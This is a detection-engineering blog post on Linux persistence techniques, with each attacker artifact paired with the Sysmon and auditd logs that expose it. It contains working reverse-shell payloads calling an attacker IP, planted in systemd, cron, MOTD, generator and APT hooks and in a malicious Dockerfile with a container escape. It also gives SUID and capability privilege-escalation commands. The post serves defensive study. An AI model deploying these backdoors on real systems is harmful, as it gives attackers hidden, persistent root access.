Linux persistence mechanisms are used by an attacker to maintain access to a compromised system, even after reboots or system updates. These allow attackers to regain control of a system without re-exploiting initial vulnerabilities. Persistence methods can vary in sophistication, from simple cron jobs to more advanced kernel-level hooks. Some common Linux persistence methods include:

1. System Services:
   – Systemd Service Persistence: This method involves creating or modifying systemd service files to execute malicious code upon system initialization.
   – SysV Init (init.d) Persistence: This leverages the older SysV init system, using scripts placed in /etc/init.d/ to run malware during system initialization.
2. User-level Persistence:
   – SSH Key Persistence: This method adds a backdoor SSH key to the authorized keys, allowing an attacker to log in remotely.
   – Shell Profile Persistence: Modifying shell profile files like .bashrc ensures that malicious scripts run each time a user starts a shell session.
3. Cron Jobs and Scheduled Tasks:
   – Cron Job Persistence: An attacker can add cron jobs to ensure a script is executed at regular intervals or during system reboots.
   – At Job Persistence: This can schedule one-time or recurring tasks to maintain persistence.
4. File and Package Modifications:
   – Malicious Packages (DPKG/RPM): Attackers can create malicious Debian or RPM packages that install backdoors and ensure persistence during package installations or updates.
   – Password and User Modifications: adding new users to /etc/passwd or modifying existing user passwords to maintain access.
5. Other Techniques:
   – SUID Backdoor: Modifying SUID (Set User ID) binaries can grant an attacker elevated privileges when running specific programs.
   – Docker Container Persistence: Attackers can use a Docker container with a host escape mechanism to maintain access across reboots.

Each of these methods offers different levels of stealth and effectiveness depending on the system’s configuration and the attacker’s goals. We are going to cover some of them here.

To enable execution of the various persistence mechanisms we utilized a tool called PANIX (https://github.com/Aegrah/PANIX). PANIX is a highly customizable Linux persistence tool for security research, detection engineering, penetration testing, CTFs and more.

For logging and detection we utilized auditd and Sysmon.

Auditd

Auditd is essential for tracking and logging security-relevant information on a linux system. It collects a wide range of system events, such as file access, system calls, and user actions, enabling real-time monitoring to swiftly detect and respond to suspicious activities. With customizable rules, users can focus on specific types of events. The main daemon, auditd, receives event data from the kernel and writes it to disk, supported by tools like auditctl for configuration, aureport for generating summary reports, and ausearch for searching audit log files.

We used a set of auditd rules compiled by Florian Roth when capturing this threat.

Sysmonforlinux

Sysmon is pretty well known in Windows spaces, but it has a version for Linux as well. Sysmon for Linux is a tool that monitors and logs system activity including process lifetime, network connections, file system writes, and more. Sysmon works across reboots and uses advanced filtering to help identify malicious activity as well as how intruders and malware operate on your network. Sysmon for Linux is part of Sysinternals. The beauty is your normal Sysmon config will work with Sysmon for Linux without needing many (if any) changes.

Systemd Timers

The first method we are going to look at is using systemd for persistence. This involves the creation of a systemd service and a timer to execute the service. The service can be installed in a couple locations depending on if the attacker has access to root or not.

Service Location:
root example: /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.service
user example: /home/user/.config/systemd/user/dbus-org.freedesktop.resolved.service

Timer Location:
root example: /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer
user example: /home/user/.config/systemd/user/dbus-org.freedesktop.resolved.timer

This service will usually contain something the attacker wants to execute on a persistent basis. For example. Here we use a bash reverse shell.

[Unit]
    Description=Network Name Resolution
  [Service]
    ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.3.99.1/4444 0>&1'
    Restart=always
    RestartSec=60
  [Install]
    WantedBy=default.target

The timer file will contain the information on how often the service is scheduled.

[Unit]
    Description=Network Name Resolution Timer
  [Timer]
    OnCalendar=*:*:00
    Persistent=true
  [Install]
    WantedBy=timers.target

The file creation event for the systemd timer can be seen.

Sysmon:

EventID: 11
TimeCreated SystemTime: 2024–09–20T18:19:25.709674000Z
EventRecordID: 191
ProcessID: 950
ThreadID: 950
Channel: Linux-Sysmon/Operational
Computer: ip-10–0–255–151
ProcessGuid: {ec227f46-bcad-66ed-0dbf-8bcfc8550000}
ProcessId: 2522
Image: /usr/bin/bash
TargetFilename: /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer
CreationUtcTime: 2024–09–20 18:19:25.718

In addition to the creation of the systemd timer and service, you will also see the new service enabled to start the persistence.

Sysmon:

EventID: 1
TimeCreated SystemTime: 2024-09-20T18:19:26.165256000Z
EventRecordID: 290
ProcessID: 950
ThreadID: 950
Channel: Linux-Sysmon/Operational
Computer: ip-10-0-255-151
UserId: 0
ProcessGuid: {ec227f46-bcae-66ed-ed4f-0f7ce2550000}
ProcessId: 2555
Image: /usr/bin/systemctl
CommandLine: systemctl enable dbus-org.freedesktop.resolved.timer
CurrentDirectory: /home/ubuntu
User: root
TerminalSessionId: 2
ParentProcessGuid: {ec227f46-bcad-66ed-0dbf-8bcfc8550000}
ParentProcessId: 2518
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
ParentUser: root

Auditd:

type=EXECVE msg=audit(1726856366.145:3033): argc=3 a0="systemctl" a1="enable" a2="dbus-org.freedesktop.resolved.timer"

Finally, you will also see a process creation event for the code executed by the systemd service. In our case it will be the reverse shell.

Sysmon:

EventID: 1
Keywords: 0x8000000000000000
TimeCreated SystemTime: 2024-09-20T18:20:05.234460000Z
EventRecordID: 461
ProcessID: 950
ThreadID: 950
Channel: Linux-Sysmon/Operational
Computer: ip-10-0-255-151
ProcessGuid: {ec227f46-bcd5-66ed-0dbf-757076550000}
ProcessId: 2633
Image: /usr/bin/bash
CommandLine: /usr/bin/bash -c bash -i >& /dev/tcp/10.0.254.228/4444 0>&1
CurrentDirectory: /
User: root
LogonGuid: {ec227f46-0000-0000-0000-000000000000}
LogonId: 0
TerminalSessionId: 4294967295
IntegrityLevel: no level

Cron Files

Cron is a very common task scheduling system on linux. Most commonly cron jobs are added to a users crontab and executed based on the time specifications in the job. There is another way for cron jobs to be created and thats with files within /etc/cron.d/. These are system wide cron jobs and will run regardless of a user's crontab.

In our version of this attack we created a file as root at /etc/cron.d/freedesktop_timesync1 with the following:

* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/10.3.99.1/4444 0>&1'

This will execute our reverse shell every minute as the root user. Similar to the persistence mechanism above this can be detected with a file creation event.

Sysmon:

TargetFilename: /etc/cron.d/freedesktop_timesync1
EventID: 11
UtcTime: 2024-09-17 18:55:54.247
Image: /usr/bin/bash
EventDescription: FileCreate
EventRecordID: 193
ProcessGuid: {ec227f46-d0ba-66e9-0d2f-097895550000}
ProcessID: "909"
ProcessId: 2376
source: Syslog:Linux-Sysmon/Operational
sourcetype: sysmon_linux
Task: 11
ThreadID: "909"
TimeCreated: 2024-09-17T18:55:54.241853000Z

Auditd:

type=PATH msg=audit(1726599354.234:2677): item=1 name="/etc/cron.d/freedesktop_timesync1" inode=8245 dev=ca:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0

Message of the Day (MOTD)

An attacker can exploit the MOTD in Linux by modifying it to display misleading messages, such as fake security warnings or instructions, tricking users into running harmful commands or visiting malicious websites. They could also use MOTD scripts as a persistence mechanism by injecting malicious code that runs during login, potentially granting the attacker continued access or control over the system.

There is a couple steps to this sort of persistence. First is creating the script within /etc/update-motd.d, then modifing it to be executable. Our script will contain a reverse shell again with the following code:

#!/bin/sh
nohup setsid bash -c 'bash -i >& /dev/tcp/10.3.99.1/4444 0>&1' & disow

Detecting this activity involves looking for file creation events in the motd script directory as well as chmod activity in suspicious loctions.

TargetFilename: /etc/update-motd.d/137-python-upgrades
EventID: 11
UtcTime: 2024-09-19 14:49:51.726
Image: /usr/bin/bash
EventDescription: FileCreate
EventRecordID: 186
eventtype: linux-sysmon-filemod
file_create_time: 2024-09-19 14:49:51.726
file_name: 137-python-upgrades
file_path: /etc/update-motd.d/137-python-upgrades
Guid: "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"
ProcessGuid: {ec227f46-3a0f-66ec-0d9f-ccefae550000}
ProcessID: "937"
ProcessId: 2449

Auditd:

type=PATH msg=audit(1726757441.333:3026): item=0 name="/etc/update-motd.d/137-python-upgrades" inode=73104 dev=ca:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0

Systemd Generator

Systemd generators are typically placed in /lib/systemd/system-generators/, where they are run early in the boot sequence to dynamically generate or modify unit files that control system services. By placing a custom generator in this directory, an attacker can ensure their code is executed each time the system starts, allowing them to maintain access or control even after reboots. This technique takes advantage of the system’s reliance on systemd for managing services, making it a subtle method for persistence since it blends in with legitimate system behavior. Additionally, since generators are executed as root, this provides attackers with high privileges, potentially allowing them to run unauthorized code with elevated permissions on startup.

First a malicious script is created that is executed by the generator (/usr/lib/systemd/system-generators/makecon):

#!/bin/bash
nohup bash -c "while :; do bash -i >& /dev/tcp/10.3.99.1/4444 0>&1; sleep 10; done" &

This will create a reverse connection to our attacker ip every 10 seconds in an infinite loop. Then the generator script is created (/usr/lib/systemd/system-generators/generator):

#!/bin/sh
# Create a systemd service unit file in the late directory
cat <<-EOL > "/run/systemd/system/generator.service"
[Unit]
Description=Generator Service
[Service]
ExecStart=/usr/lib/systemd/system-generators/makecon
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOL
mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/generator.service /run/systemd/system/multi-user.target.wants/generator.service
# Ensure the script exits successfully
exit 0

This dynamically creates a systemd service unit file that:

• Describes the service with the name “Generator Service.”
• Specifies the ExecStart directive to run our malicious script (/usr/lib/systemd/system-generators/makecon).
• Configures the service to restart automatically with Restart=always, meaning the service will restart whenever it stops or crashes. The RestartSec=10 directive introduces a 10-second delay between restarts.
• Installs the service as part of the multi-user.target, ensuring it starts when the system reaches the multi-user run level (typically when most services are running).

Both of these scripts will be modified to be executable with chmod which can be detected with the previous detection. Finally, these will be registered with the system with `systemctl daemon-reload & systemctl enable generator

Auditd:

type=PATH msg=audit(1726685091.930:2923): item=0 name="/usr/lib/systemd/system-generators/makecon" inode=72095 dev=ca:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1726685091.922:2921): item=0 name="/usr/lib/systemd/system-generators/generator" inode=84188 dev=ca:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=EXECVE msg=audit(1726685091.782:2910): argc=3 a0="systemctl" a1="enable" a2="generator"
type=EXECVE msg=audit(1726685091.374:2872): argc=5 a0="/bin/sh" a1="/usr/lib/systemd/system-generators/generator" a2="/run/systemd/generator" a3="/run/systemd/generator.early" a4="/run/systemd/generator.late"

Apt Package Manager

This persistence mechanism exploits the APT package management system by placing a custom script in the /etc/apt/apt.conf.d/ directory with a APT::Update::Pre-Invoke configuration, which is executed before any APT update or installation command.

The full malicious script in our case contained our handy reverse shell that will be executed whenever apt updates or installs anything.

APT::Update::Pre-Invoke {"(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.3.99.1/4444 0>&1' > /dev/null 2>&1 &) &"};

Identifying this activity can be done by looking for file creation events within the apt configuration directory like the following:

Sysmon:

TargetFilename: /etc/apt/apt.conf.d/01python-upgrades
EventID: 11
UtcTime: 2024-09-19 16:15:01.439
Image: /usr/bin/bash
User: -
process_name: bash
process_path: /usr/bin/bash
action: created
Channel: Linux-Sysmon/Operational
EventDescription: FileCreate
EventRecordID: 252
eventtype: linux-sysmon-filemod
file_create_time: 2024-09-19 16:15:01.439
file_name: 01python-upgrades
file_path: /etc/apt/apt.conf.d/01python-upgrades
Guid: "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"
ProcessGuid: {ec227f46-4e05-66ec-0ddf-3eaa12560000}
ProcessID: "930"
ProcessId: 2511

SUID Binary Persistence

Another common method of persistence is, instead of creating new scripts or binaries on the system, the attacker will modify existing binaries to run with elevated permissions. This is commonly done on binaries that can execute code such as find or python. By setting the SUID bit on these binaries, the script is granting any user the ability to execute these programs with root (or binary owner) privileges, which can lead to serious security vulnerabilities.

To accomplish this the attacker will execute chmod on these binaries with the u+s or 4777 parameters.

Sysmon:

CommandLine: chmod u+s /usr/bin/find
EventID: 1
UtcTime: 2024-09-20 14:36:12.922
Image: /usr/bin/chmod
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
User: root
IntegrityLevel: no level
action: allowed
Channel: Linux-Sysmon/Operational
CurrentDirectory: /home/ubuntu
ParentProcessGuid: {ec227f46-885c-66ed-0def-768350560000}
ParentProcessId: 2480
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
ParentUser: root
EventDescription: Process creation
EventRecordID: 182

Auditd:

type=EXECVE msg=audit(1726842972.903:2770): argc=3 a0="chmod" a1="u+s" a2="/usr/bin/find"

Once set an attacker can use the binaries to escalate privileges. For example with find:

find . -exec /bin/bash -p \;

Capabilities

Similar to the SUID bit, binaries can also have capabilities set that allow persistent privilege escalation. Capabilities split root privileges into smaller units that can be assigned to specific binaries. For instance, using the setcap command, an attacker can give a binary capabilities like CAP_NET_ADMIN or CAP_SYS_ADMIN, allowing the binary to perform administrative tasks without requiring root privileges. This approach enables the attacker to retain control even after system reboots or security patches, as the modified binary can continue to execute privileged actions. A common capability to use is the CAP_SETUID capability that allows the binary to change its user id while running.

A target for this is typically scripting interpreters such as perl, python, ruby, php, etc. For example with Python an actor can set this persistent capability and then run the following to escalate to a root shell or run system commands as root.

import os
os.setuid(0)
os.system("/bin/bash")

The logs created by this activity look like the following:

Sysmon:

CommandLine: setcap cap_setuid+ep /usr/bin/python
EventID: 1
UtcTime: 2024-09-17 17:23:55.705
Image: /usr/sbin/setcap
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
User: root
IntegrityLevel: no level
process_path: /usr/sbin/setcap
parent_process_path: /usr/bin/bash
action: allowed
CurrentDirectory: /home/ubuntu
ParentProcessGuid: {ec227f46-bb2b-66e9-0d2f-bae34b560000}
ParentProcessId: 2407
EventDescription: Process creation
EventRecordID: 155

Auditd:

type=EXECVE msg=audit(1726593835.712:2704): argc=3 a0="setcap" a1="cap_setuid+ep" a2="/usr/bin/python3.10"

Docker

Sometimes an attacker won’t persist on the host itself but instead make use of a specifically crafted Docker container. This Docker container can be used for persistence by leveraging its privileged access and the ability to interact with the host system. Since the container is run with the — privileged and — pid=host options, it has elevated privileges and access to the host’s process namespace. Additionally, a script inside the container allows the low-privilege user in the container to execute commands as root on the host system using nsenter. This setup enables attackers to maintain control over the host, even after reboots, by re-establishing access through the container.

Example malicious Dockerfile staged at /tmp/Dockerfile:

FROM alpine:latest
RUN apk add --no-cache bash socat sudo util-linux procps
RUN adduser -D lowprivuser
RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh \\
	&& echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:10.3.99.1:4444"; sleep 60; done' >> /usr/local/bin/entrypoint.sh \\
	&& chmod +x /usr/local/bin/entrypoint.sh
RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh \\
	&& echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh \\
	&& chmod +x /usr/local/bin/escape.sh \\
	&& echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' >> /etc/sudoers
USER lowprivuser
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]

Building and running the malicious container with privileged access to host resources:

docker build -t malicious-container -f /tmp/Dockerfile . && \
docker run -d --name malicious-container --privileged --pid=host malicious-container

The script creates an entry point (/usr/local/bin/entrypoint.sh) that contains an infinite loop. In each iteration, it launches a reverse shell using socat, which tries to connect to the attacker controlled system.

Another script (/usr/local/bin/escape.sh) is created, which uses the nsenter command to escape the container and access the host's namespaces. The script uses the nsenter command with the –pid=host flag to gain access to the host system's process, mount, and user namespaces. By doing so, it effectively allows the user to escalate privileges and access the host system.

The big things to look for with this activity are the usage of the privileged flags when executing the container and the usage of nsenter with su.

Sysmon:

CommandLine: docker run -d --name malicious-container --privileged --pid=host malicious-container
CurrentDirectory: /tmp
EventChannel: Linux-Sysmon/Operational
EventCode: 1
EventDescription: Process creation
EventRecordID: 1377
Image: /usr/bin/docker
IntegrityLevel: no level
ParentCommandLine: /bin/bash
ParentImage: /usr/bin/bash
ParentProcessGuid: {ec227f46-ef47-66ea-0d8f-8cba34560000}
ParentProcessId: 3993
ParentUser: root
ProcessGuid: {ec227f46-ef4d-66ea-8d4b-8837a1550000}
ProcessID: "978"
ProcessId: 4348
Product: -

Auditd:

type=EXECVE msg=audit(1726672717.147:22570): argc=8 a0="docker" a1="run" a2="-d" a3="--name" a4="malicious-container" a5="--privileged" a6="--pid=host" a7="malicious-container"

MITRE

T1059 — Command and Scripting Interpreter:
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.

T1053.003 — Scheduled Task/Job: Cron:
Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.

T1053.006 — Scheduled Task/Job: Systemd Timers:
Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code.

T1021.004 — Remote Services: SSH
Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid
An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context.

T1610 — Deploy Container
Adversaries may deploy a container into an environment to facilitate execution or evade defenses.

Conclusion

In conclusion, Linux persistence techniques offer attackers a variety of methods to maintain long-term access to compromised systems. From modifying system services and user-level configurations to exploiting scheduled tasks and leveraging containers, these techniques can range in complexity and stealth. Understanding the different persistence mechanisms and their detection is critical for defending Linux systems against persistent threats, ensuring system security even after reboots or system updates.

For more information, detections, and captured attacks for these techniques and many more, check out our collection focused on Linux Persistence.

SnapAttack is the threat hunting, detection engineering, and detection validation platform for proactive threat-informed defense. Register for a FREE community account to access the tons of content included in this blog post, as well as thousands of other community detections. Subscribers also get advanced features like a no-code detection builder, one-click deployments to leading SIEMs and EDRs like Chronicle, Sentinel, Splunk, CrowdStrike and SentinelOne, advanced threat profiles to prioritize relevant threats, and customized reports that track MITRE ATT&CK coverage and more!

Resources

GitHub – Aegrah/PANIX: Customizable Linux Persistence Tool for Security Research and Detection Engineering.

Linux Persistence Mechanisms and How to Find Them was originally published in SnapAttack on Medium, where people are continuing the conversation by highlighting and responding to this story.

*** This is a Security Bloggers Network syndicated blog from SnapAttack - Medium authored by Trenton Tait. Read the original post at: https://blog.snapattack.com/linux-persistence-mechanisms-and-how-to-find-them-f39e396041ae?source=rss----3bac186d1947---4